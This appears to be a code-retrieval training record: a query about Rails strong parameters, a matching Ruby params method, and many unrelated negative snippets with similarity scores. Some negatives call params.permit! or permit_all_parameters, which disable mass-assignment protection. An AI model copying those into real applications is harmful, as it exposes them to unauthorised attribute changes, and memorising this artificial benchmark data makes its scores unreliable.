"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def user_params
params.require(:user).permit(:username, :password, :avatar, :token)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Liaison monnaies et prix
|
def trader
# Rappel des methodes :
symbols_array = scrap_symbols
prices_array = scrap_prices
a = [] # Initialisation d'un array pour les stocker
symbols_array.each_with_index do |x, y|
# -> On associe pour chaque item de symbols_array un item de prices_array
a << {x => (prices_array)[y]}
# -> On sauvegarde sous forme d'hash dans le tableau
end
print a
return a
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def nouveau_prix\n nouveau_prix = 0\n if(!bouteille.nil?)\n nouveau_prix = bouteille.prix\n nouveau_prix = nouveau_prix * (1 - (rabais/100)) if rabais?\n end\n ActionController::Base.helpers.number_to_currency(nouveau_prix, unit: \"\", separator: \".\", delimiter: \"\", format: \"%n\")\n end",
"def get_monoin\n @_100=((@monoin*100)/@peso)\n @ir_100=(@_100/25)*100\n @porcion=((@monoin*@gramos_porciones)/@peso)\n @ir_porcion=(@porcion/25)*100\n [ @monoin , @_100 , @ir_100.round(1) , @porcion , @ir_porcion.round(1) ]\n end",
"def lentille_miroir\n if o.lentille\n return \"\n % Dessin de la lentille et des points focaux\n \\\\draw [ultra thick] (-0.5,#{-HAUTEUR+o.fpsign*0.5}) -- (0,-#{HAUTEUR}) -- (0.5,#{-HAUTEUR+o.fpsign*0.5})\n (-0.5,#{ HAUTEUR-o.fpsign*0.5}) -- (0, #{HAUTEUR}) -- (0.5,#{ HAUTEUR-o.fpsign*0.5}) ;\n \\\\filldraw [black] (#{ o.fp},0) circle (2pt) node [above #{right(o.fpsign)}] {$F'$};\n \\\\filldraw [black] (#{-o.fp},0) circle (2pt) node [above #{left(o.fpsign)}] {$F$} ;\n \\\\filldraw [black] (0,0) circle (2pt) node [above right] {$O$} ;\n \"\n else\n return \"\n \\\\draw [ultra thick] (#{-0.5*o.fpsign},#{-HAUTEUR-0.5}) -- (0,-#{HAUTEUR}) \n (#{-0.5*o.fpsign},#{ HAUTEUR+0.5}) -- (0, #{HAUTEUR}) ;\n \\\\filldraw [black] (#{-o.fp},0) circle (2pt) node [above #{right(o.fpsign)}] {$F$};\n \\\\filldraw [black] (#{-2*o.fp},0) circle (2pt) node [above #{left(o.fpsign)}] {$C$} ;\n \\\\filldraw [black] (0,0) circle (2pt) node [above right] {$S$} ;\n \" + (0..(2*HAUTEUR-1)).to_a.map{|e| \"\\\\draw [ultra thick] (0,#{-HAUTEUR+0.5+e}) -- (0.5,#{-HAUTEUR+0.5+e+0.5});\"}.join(\"\\n\")\n end\n end",
"def imc\n\t\tnum = (@peso/(@talla*@talla)).round(2)\n\t\tif num < 18.5\n\t\t\tnum #- Bajo peso\"\n\t\telsif num > 18.5 and num < 24.9\n\t\t\tnum #- Adecuado\"\n\t\telsif num > 25.0 and num < 29.9\n\t\t\tnum #- Sobrepeso\"\n\t\telsif num > 30.0 and num < 34.9\n\t\t\tnum #Obesidad grado 1\"\n\t\telsif num > 35.0 and num < 39.9\n\t\t\tnum #- Obesidad grado 2\"\n\t\telsif num > 40\n\t\t\tnum #- Obesidad grado 2\"\n\t\tend\t\t\t\n\tend",
"def lip\n\t\tsuma = 0\n\t\tx = 0\n\t\tcantidad = 0\n\n\t\t@alimentos.each do |i|\n\t\t\tcantidad = @gramos[x].valor / (i.proteinas + i.lipidos + i.carbohidratos)\n\t\t\tsuma += i.lipidos * cantidad\n\t\t\tx += 1\n\t\tend\t\n\n\t\treturn ((suma * 100) / gramos_total).round(2)\n\tend",
"def jeuTermine\n\t\tlancementAventure(@tailleGrille+1)\n\tend",
"def price_in_sterling \n\t\tprice * 1.5\n\tend",
"def get_energia_lipidos\n\t\t\t\t@lipidos * 9\n\t\t\tend",
"def huellaNut \n\t\t(@indEnergia.call + @indGei.call)/2.0\n\tend",
"def vrat_modif_instanci\n vystup=\"\"\n @pole_dat.each do |radek| \n if(radek[0]==\"p\")then \n vystup +=radek\n vystup += \"w #{generuj_vahy(radek).join(' ')}\\n\" #pridani radku s vahami\n else\n vystup +=radek\n end \n end\n # puts vystup\n return vystup\n end",
"def porcentajegrasa\n\t\t1.2 * imc + 0.23 * @edad - 10.8 * @sexo - 5.4\n\tend",
"def get_usoterreno\n aux = 0.0\n @contenido.each do |alimento|\n aux += alimento.ground\n end\n @usoterreno = aux\n end",
"def get_cout_total\n return (self.prix)\n end",
"def calculo \n self.minutos_reales = 5 * 480 #cantidad de OPERARIOS * Jornada de Trabajo(Turnos)\n self.costo_minuto = 89 #Costo Real por minuto\n self.otros_costos = 540 * 89 #Tiempo Total(Minutos) * Costo Real por Minutos\n self.costo_mano_obra = 420 * 5 * 89 # Jornada Minutos * Cantidad Operarios * Costo Real por minutos \n self.manoObraPlaneada = 650.000 * 5 # Salario Total * Cantidad de operarios \n end",
"def grasa\n\t\t1.2 * imc + 0.23 * @edad - 10.8 * ( sexo ? 1 : 0) - 5.4\n\tend",
"def oben() \n return @fahrbahn.obere_linke_ecke().y() \n end",
"def get_almidon\n @_100=((@almidon*100)/@peso)\n #@ir_100=(@_100/90)*100\n @porcion=((@almidon*@gramos_porciones)/@peso)\n #@ir_porcion=(@porcion/90)*100\n [ @almidon , @_100 , 0 , @porcion , 0 ]\n end",
"def irpoliinsaturadas\n vag=(grasaspoli * 100) / 70\n vag.round(2)\n end",
"def kcallipidos\n\t\t\t@lipidos * 9\n\t\tend",
"def indice_masa_corporal\n\t\t(peso / (talla * talla) * 10000).round(1)\n\tend",
"def lip\n grtotal = 0\n sum = 0\n\t\t#itera en las dos listas a la vez para poder calcular las \n #lipidos dependiendo de la cantidad y tambien suma\n #todas las cantidades para poder calcular el porcentaje\n #despues\n @lista.zip(@listagr).each do |normal, gr|\n grtotal += gr\n cant = gr/1000.0\n sum += normal.lip*cant\n end\n (sum*100)/grtotal\n end",
"def tenure_mth\n self.tenure*12\n end",
"def huella_nutricional\n ((get_impacto_energia + get_impacto_gei)/2).ceil(2)\n end",
"def huella_nutricional\n (valor_calorico() + huella_carbono()) / 2\n end",
"def totalLipidos\n\t\tlip = 0\n\t\ttotal = 0\n\t\t@platos.each do |alimento|\n\t\t\tlip += alimento.lipidos\n\t\tend\n\t\treturn lip.round(2)\n\t\n\tend",
"def imc \n\t\t@peso/(@talla*@talla)\n\tend",
"def french_siret_number; end",
"def ir_energetico \n\t\t@ener_ir = ener_kj\n\t\t@ir_energetico = (@ener_ir/8400.to_f) * 100\n\t\t@ir_energetico.round(1)\n\tend",
"def get_poli\n @_100=((@poli*100)/@peso)\n @ir_100=(@_100/25)*100\n @porcion=((@poli*@gramos_porciones)/@peso)\n @ir_porcion=(@porcion/25)*100\n [ @poli , @_100 , @ir_100.round(1) , @porcion , @ir_porcion.round(1) ]\n end",
"def iralmidon\n vag=(almidon * 100) / 90\n vag.round(2)\n end",
"def rental_mth\n self.rental*1000/12\n end",
"def ausgleich\n\t\tsums = {}\n\t\t%w(jo caro).each do |who|\n\t\t\tsums[who] = @db.get_first_value(\"select summe from sum_#{who} where jahr = #{@options[:jahr]} and monat = #{@options[:monat]} and gemeinsam = 'g'\").to_f\n\t\tend\n\n\t\tif(sums['jo'] == sums['caro'])\n\t\t\tputs \"Gleichstand\"\n\t\t\treturn\n\t\tend\n\n\t\tausg = ((sums['jo'] + sums['caro']) / 2 - sums['jo']).abs\n\t\t\n\t\tif(sums['jo'] > sums['caro'])\n\t\t\tprintf(\"Caro an Jo: %.2f EUR\\n\", ausg)\n\t\telse\n\t\t\tprintf(\"Jo an Caro: %.2f EUR\\n\", ausg)\n\t\tend\n\t\t\n\tend",
"def get_valor_energetico\n \n return ((@proteinas + @glucidos) * 4 + @lipidos * 9).round(1)\n \n \n end",
"def defineSueldoVendedor(monto)\n sueldoBase = 1500\n comision = 0.0\n if(monto >= 0 && monto <=1999)\n comision = 0.00*monto\n elsif(monto >= 2000 && monto <=10000)\n comision = (0.03*monto).round(2)\n elsif(monto >= 10001 && monto <=20000)\n comision = (0.06*monto).round(2)\n elsif(monto >= 20001)\n comision = (0.1*monto).round(2)\n end\n return (sueldoBase + comision).round(2)\nend",
"def huella\n huella = @alimentos.inject([0,0,0]) do |acc, i|\n if i.kcal_total < 670\n acc[0] += (1.0 * (@gramos[acc[1]].valor / (i.proteinas + i.lipidos + i.carbohidratos)))\n elsif i.kcal_total > 830\n acc[0] += (3.0 * (@gramos[acc[1]].valor / (i.proteinas + i.lipidos + i.carbohidratos)))\n else acc[0] += (2.0 * (@gramos[acc[1]].valor / (i.proteinas + i.lipidos + i.carbohidratos)))\n end\n if (i.gases * 1000.0) < 800\n acc[0] += (1.0 * (@gramos[acc[1]].valor / (i.proteinas + i.lipidos + i.carbohidratos)))\n elsif (i.gases * 1000.0) > 1200\n acc[0] += (3.0 * (@gramos[acc[1]].valor / (i.proteinas + i.lipidos + i.carbohidratos)))\n else\n acc[0] += (2.0 * (@gramos[acc[1]].valor / (i.proteinas + i.lipidos + i.carbohidratos)))\n\t\t\tend\n\n\t\t\tacc[2] += (@gramos[acc[1]].valor / (i.proteinas + i.lipidos + i.carbohidratos))\n acc[1] += 1\n acc\n\t\tend\n\n\t\treturn (huella[0] / (2.0 * huella[2])).round(2)\n\tend",
"def price_of_gold(ounces)\ndollar_value = ounces*1336\nend",
"def tl_Aries() \r\n # Celes.anp(eq_of_equinox() + ml_Aries())\r\n dt = 67.184 \r\n tt = @ajd + dt / 86400.0#Celes.ut1tt(@ajd, 0, dt) \r\n Celes.gst06a(@ajd, 0, tt, 0) \r\n end",
"def mark_up_amt\n rounder5(self.vehicle.price * 0.082)\n end",
"def loan_money(lender, lendee, value)\n for total in lender[:monies]\n total - value\n end\n return total\n for borrowed in lendee[:monies]\n borrowed + value\n end\n return borrowed\nend",
"def money; end",
"def calories_per_liter\n 672\n end",
"def new_sale_price \n noi(num_years_to_hold + 1) / cap_rate(num_years_to_hold + 1)\n end",
"def vrat_celkovy_soucet_vah\n soucet = 0\n @pole_vah.each do |prvek| \n soucet += prvek.to_i\n end\n return soucet\n end",
"def nach_unten_bewegen\n bewegen_um_punkt(Punkt.new(0,10))\n end",
"def grasa\n\t\t1.2*imc+0.23*@edad-10.8*@sexo-5.4\n\tend",
"def rent\r\n if self.actual_rent\r\n return self.actual_rent.price\r\n else\r\n return 0\r\n end\r\n end",
"def calculDesTaxes\n # Si un montant negatif, il s'agit d'une correction pour un\n # paiement annule. Ne rien modifier.\n return if self.montant < 0\n \n # Trouver la somme des montants non-taxable de tous les paiements precedents\n if self.new_record? # Est-ce un nouveau paiement ou une modification?\n paiementsNonTaxable = self.famille.paiements.sum(:non_taxable)\n else\n paiementsNonTaxable = self.famille.paiements.sum(:non_taxable) - Paiement.find(self.id).non_taxable\n end\n paiementsNonTaxable = 0 if paiementsNonTaxable.nil?\n \n if (paiementsNonTaxable < self.famille.cotisation.non_taxable)\n self.non_taxable = self.famille.cotisation.non_taxable - paiementsNonTaxable\n self.non_taxable = self.montant if self.non_taxable > self.montant\n end\n \n brut = self.montant - self.non_taxable;\n if brut > 0\n cts = Constantes.instance\n self.tps = (brut * 100.0 * cts.tps / (1.0 + cts.tps + cts.tvq)).round / 100.0\n self.tvq = (brut * 100.0 * cts.tvq / (1.0 + cts.tps + cts.tvq)).round / 100.0\n self.taxable = brut - self.tps - self.tvq\n else\n self.tps = 0\n self.tvq = 0\n self.taxable = 0\n end \n end",
"def monetize\n (object.unit_price * 0.01).to_s\n end",
"def irazucaresp\n vag=(valorazucaresp * 100) / 90\n vag.round(2)\n end",
"def huella_carbono\n if geidiario() < 800\n return 1\n end\n if geidiario() > 1200\n return 3\n else\n return 2\n end\n end",
"def irmonograsas\n vag=(grasasmono * 100) / 70\n vag.round(2)\n end",
"def iralmidonp\n vag=(valoralmidonp * 100) / 90\n vag.round(2)\n end",
"def ir_sal \n\t\t@ir_sal = (@sal/6.to_f)*100\n\t\t@ir_sal.round(1)\n\tend",
"def get_sal\n @_100=((@sal*100)/@peso)\n @ir_100=(@_100/6)*100\n @porcion=((@sal*@gramos_porciones)/@peso)\n @ir_porcion=(@porcion/6)*100\n\t\t#p \"| #{@sal} | #{@_100} | #{@ir_100.round(1)}% | #{@porcion} | #{@ir_porcion.round(1)}% |\"\n [ @sal , @_100 , @ir_100.round(1) , @porcion , @ir_porcion.round(1) ]\n end",
"def pLipidos\n\t\tlip = 0\n\t\ttotal = 0\n\t\t@platos.each do |alimento|\n\t\t\ttotal += alimento.proteinas + alimento.lipidos + alimento.carbohidratos\n\t\t\tlip += alimento.lipidos\n\t\tend\n\t\treturn ((lip/total)*100).round\n\t\n\tend",
"def get_prix_unitaire_unit\n return \"\" if self.unit.blank?\n return \"€/\" + self.unit\n end",
"def calculo_valor_energetico\n\t\t\t(@carbohidratos*4) + (@lipidos*9) + (@proteinas*4)\n\t\tend",
"def traitementTotal(taille)\n self.traitementPixel(taille)\n self.traitementMonochrome()\n \n return @grille = self.traitementPicross(taille)\n end",
"def ener_kj \n\t\t@ener_kj = @saturadas * 37 + @monoinsaturadas * 37 + @polinsaturadas * 37 + @azucares * 17 + @polialcoles * 10 + @almidon * 17 + @fibra * 8 + @proteinas * 17 + @sal * 25\n\t\treturn @ener_kj\n\tend",
"def monies\n products.map(&:price)\n end",
"def langrage_coefficients\n # TODO\n end",
"def get_energia\n\t\t\t\t@lipidos * 9 + @proteins * 4 + @carbs * 4\n\t\t\tend",
"def get_bronzes(value)\n value % VALUESILVER\n end",
"def por_lip\n\t\t\t(@lipidos/suma_gramos)*100\n\t\tend",
"def horizontal_bewegen(anzahl)\n bewegen_um_punkt(Punkt.new(anzahl,0)) \n end",
"def huella_nutricional\n numero1 = self.calculo_valor_calorico_total\n numero2 = self.calculo_emisiones_diarias\n\n if numero1 < 670\n ienergia = 1\n elsif numero1 <=830\n ienergia = 2\n else\n ienergia = 3\n end\n\n if numero2 < 800\n icarbono = 1\n elsif numero2 <= 1200\n icarbono = 2\n else\n icarbono = 3\n end\n\n media = (ienergia + icarbono)/2\n end",
"def cigaret_price\n 0.30\n end",
"def promo_price\n price*0.75\n end",
"def irazucares\n vag=(azucares * 100) / 90\n vag.round(2)\n end",
"def ahorrodinero(año)\n\n i = 0\n final = Array.new \n final1 = Array.new \n final2 = Array.new \n \n\n datos = Valore.where(:año => año)\n \n datos.each do |datos|\n \n \n final[i] = datos.read_attribute(\"es\")\n final1[i] = datos.read_attribute(\"tarifa\")\n final2[i] = final1[i]*final[i]\n \n i = i +1\n \n \n end\n \n return final2\n\n\n\n end",
"def precio\n\t\t@precio\n\tend",
"def valor_energetico\n @proteinas * 4.0 + @carbohidratos * 4.0 + @lipidos * 9.0\n end",
"def amount; end",
"def massaCorporalGorda(percentualDeGordura, peso)\n resultado = (peso*percentualDeGordura)/100\nend",
"def rent_percept_for_renter\n rent_value = 0\n self.accessories.each{|accessory|\n rent_value += ((accessory.base + accessory.tarif)*( 1 + (accessory.tax/100) ))\n }\n return rent_value\n end",
"def irvitaminas\n vag=(vitymin * 100) / 50\n vag.round(2)\n end",
"def azucaresIR\n\t\t((valorEnergeticoKJ.to_f*90)/8400).round(2)\n\tend",
"def french_siren_number; end",
"def mid_price\n price\n end",
"def lyric1 num_now\n \"#{num_now} \" + bottle(num_now) + \" of beer on the wall, \" +\n \"#{num_now} \" + bottle(num_now) + \" of beer\"\n end",
